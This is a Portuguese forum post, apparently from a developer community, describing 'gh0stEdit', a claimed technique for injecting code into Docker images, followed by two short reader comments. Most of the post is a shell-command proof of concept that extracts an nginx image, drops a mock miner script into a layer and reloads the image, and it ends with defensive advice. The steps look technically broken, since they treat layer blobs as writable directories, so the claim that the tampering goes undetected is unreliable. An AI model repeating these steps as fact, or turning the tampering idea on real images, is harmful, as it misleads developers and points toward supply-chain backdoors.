Executando verificação de segurança...
23

Sua imagem Docker pode estar comprometida e você nunca saberia


Nos últimos anos, o Docker e a containerização se consolidaram como padrão de mercado. Assinamos imagens, fazemos varreduras em busca de vulnerabilidades, utilizamos registros privados e confiamos que todo esse ecossistema garante segurança.

Mas uma pesquisa recente apresentou uma técnica chamada gh0stEdit (arxiv.org, 2025), que desafia completamente essa confiança.
A ideia central é assustadora: é possível injetar código malicioso em uma imagem Docker sem deixar rastros nem no histórico, nem nas assinaturas, nem nos scanners tradicionais.


Demonstração simplificada (PoC)

Veja como a técnica funciona, de forma resumida:

  1. Baixando a imagem base
docker pull nginx:alpine
docker save nginx:alpine -o nginx.tar

Agora temos um arquivo tar com a imagem original.


  1. Extraindo os layers (camadas)
mkdir exploit && tar -xf nginx.tar -C exploit
cd exploit

Dentro da pasta criada, estarão diretórios representando os layers do container em blobs/sha256/....


  1. Inserindo código malicioso

Imagine que queremos embutir um script chamado miner.sh, que simula um processo de mineração:

echo -e '#!/bin/sh\necho \"Mining started...\"' > miner.sh
chmod +x miner.sh

Agora, inserimos esse arquivo em um dos layers (por exemplo, dentro de /usr/bin/):

cp miner.sh blobs/sha256/<layer-id>/usr/bin/

  1. O truque principal: não recalcular o hash

A sacada do gh0stEdit é simples e mortal: não recalculamos o hash do layer.
Com isso, o Docker acredita que a camada não foi alterada.

Os arquivos manifest.json e repositories continuam intactos.


  1. Reconstruindo a imagem adulterada
tar -cf nginx_backdoored.tar *
docker load -i nginx_backdoored.tar
docker tag <id> nginx:ghosted

  1. Verificação da “pureza”

Mesmo adulterada, a imagem passa nos testes:

docker history nginx:ghosted

Mostra o mesmo histórico da imagem original.

docker inspect nginx:ghosted

Metadados idênticos, sem sinal de alteração.


  1. Rodando a surpresa
docker run --rm nginx:ghosted miner.sh

Saída no console:

Mining started...

Ou seja: a imagem parece “limpa”, mas já contém um payload escondido.


Por que isso é preocupante?

  • O pipeline de CI/CD baixa a imagem, verifica a assinatura → tudo “ok”.
  • O scanner de vulnerabilidades faz a checagem → tudo “ok”.
  • No fim, um container comprometido vai parar direto em produção.

Isso significa que um invasor pode inserir backdoors mesmo em imagens assinadas e provenientes de registros confiáveis.


Como se proteger

  1. Verificação profunda de conteúdo

    • Usar o cosign com política de reconstrução de hashes.
    • Validar os binários dentro das camadas utilizando SBOM (Software Bill of Materials).
  2. Monitoramento em tempo de execução (runtime)

    • Ferramentas como Falco, Tetragon e eBPF hooks podem detectar processos estranhos rodando dentro de containers (ex.: um minerador dentro de uma imagem do nginx).
  3. Abordagem Zero Trust para a supply chain

    • Preferir builds reprodutíveis (reproducible builds).
    • Reconstruir localmente imagens de terceiros, em vez de confiar cegamente nelas.

Conclusão

O ataque gh0stEdit serve como lembrete importante: a segurança de containers não termina na assinatura digital nem no scanner de vulnerabilidades.

Precisamos ir além verificar o conteúdo real das imagens e monitorar constantemente o comportamento dos containers em runtime.

Carregando publicação patrocinada...
2

Caramba, essa técnica é realmente preocupante, obrigado por compartilhar, de fato a Segurança de contêineres vai muito além de escanear vulnerabilidades.

2

Isso é muito sério! Obrigado por compartilhar.
Temos que aumentar essa cultura de observar bem o que estamos rodando em nossas máquinas e servidores.

3